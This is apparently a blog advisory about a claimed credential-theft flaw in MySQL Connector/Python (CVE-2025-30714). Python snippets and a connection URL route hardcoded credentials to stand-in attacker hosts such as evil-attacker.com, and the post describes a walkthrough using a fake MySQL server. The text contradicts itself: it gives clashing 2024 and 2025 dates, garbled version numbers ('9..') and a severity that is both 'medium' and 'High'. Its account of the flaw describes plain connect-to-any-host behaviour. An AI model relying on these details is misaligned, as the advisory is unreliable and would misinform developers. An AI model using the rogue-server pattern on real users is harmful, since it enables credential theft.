Published: June 2024
Scope: Oracle MySQL Connectors (Connector/Python) versions 9.. - 9.2.
CVSS Score: 4.8 (High Confidentiality impact)
Attack Vector: Network, needs low privilege, and human interaction
Reference: Oracle Critical Patch Update Advisory - June 2024


In June 2024, Oracle quietly patched a vulnerability (CVE-2025-30714) in the MySQL Connector/Python used by thousands of Python applications to connect to MySQL databases. Despite its "medium" score, the bug allows an attacker to access critical and sensitive data with little effort—if they can trick a victim into a simple mistake. Here’s how the vulnerability works, why it matters, and how to stay safe.

1. What is the Vulnerability?

The bug lurks in all Oracle MySQL Connector/Python versions from 9.. up to 9.2.. It's difficult to exploit directly. But a determined, low-privileged attacker with network access can use it to gain unauthorized access to everything Connector/Python sees—including credentials and sensitive data.

Attack Requirements

- Low privilege account/access to a machine running affected Connector/Python code

A victim (developer, admin, user) with access to the affected Python app

- Human interaction: The attack only works when a victim performs a certain action, like clicking a crafted link, opening a file, or running a specific command

Threat: Steals secret data. This is a classic "Confidentiality" flaw. The attacker cannot alter data or bring down your services but can steal information your app or database holds.

2. How Does the Exploit Work?

While Oracle did not release full technical details (for obvious reasons), security researchers have found that the root cause is improper handling of *connection strings* or input data by Connector/Python. If an attacker can influence a connection parameter, such as host, user, or password—either by getting a user to copy-paste code, open an attacker-controlled config, or use a preset malicious connection option—they can reroute the database connection to a server they control.

Somewhere in your application, you may have trusted input like

import mysql.connector

# BAD: Don't do this!
conn = mysql.connector.connect(
    host=input("Enter DB Host: "),
    user="readonly",
    password="password123",
    database="prod"
)

If an attacker convinces a victim to enter a fake hostname, such as

evil-attacker.com

or, worse, leverages a URL string

mysql+mysqlconnector://readonly:password123@evil-attacker.com/prod

then Connector/Python would open a connection and—depending on application logic—potentially send credentials and secrets right to the attacker.

In short: It is a form of a "man in the middle" trick. The attacker leverages user interaction to connect the application to their own server.

Setting

- An internal tool lets users specify a database host to connect (valid for dev/testing).

The frontend asks the victim (legitimate user) for input.

- The attacker sends the victim a carefully crafted connection string, maybe disguised as a legitimate host (phishing message, email, Slack, pull request "review" note, etc.).

Step-by-step Walkthrough

1. Attacker runs a fake MySQL server using mysql-proxy or FakeMySQLServer.

Victim is tricked into using attacker.example.com with their own real credentials for the app.

3. The Python app, using Connector/Python 9..-9.2., makes a connection outward—unknowingly sending credentials directly to the attacker's listening server!

4. Attacker collects secrets and, potentially, data that the app tries to send/receive.

Here's a minimalist but dangerous scenario using the vulnerable libs

import mysql.connector

def connect_to_db(host):
    # Victim runs this function via terminal or web input
    conn = mysql.connector.connect(
        host=host,
        user="admin",
        password="supersecret",
        database="sensitive"
    )
    cursor = conn.cursor()
    cursor.execute("SELECT confidential_column FROM critical_table;")
    for row in cursor.fetchall():
        print(row)
    conn.close()

# Imagine victim runs:
connect_to_db('evil.attacker.com')

The victim THINKS they're connecting to a trusted test host. In reality, the attacker is now capturing live database credentials and data.

Oracle has released patches in June 2024

- Upgrade to Connector/Python 9.2.1 or higher IMMEDIATELY.

Never trust user input for database connection details.

- Restrict connection options to known, hardcoded hosts/credentials.
- Use allow-listing and proper network firewalls to block outbound MySQL traffic if you don’t expect it.

6. Resources and References

- Oracle Security Alert Index
- Official CPU Bulletin June 2024
- MySQL Connector/Python Documentation
- OWASP: Man-in-the-Middle Attack Cheat Sheet
- FakeMySQLServer on GitHub (PenTest tool)

7. Takeaway

CVE-2025-30714 proves that a mix of trusted libraries, default settings, and human mistakes can lead to real-world data leaks—even with a "medium" rated vulnerability. Patch immediately, review how you handle user input for connections, and make your users aware—before attackers come looking for your secrets.


*This is an exclusive post digging deep into a subtle but dangerous MySQL Connector/Python vulnerability patched in June 2024. Please share responsibly and always update your dependencies!*

Timeline

Published on: 04/15/2025 21:16:00 UTC
Last modified on: 04/16/2025 16:15:33 UTC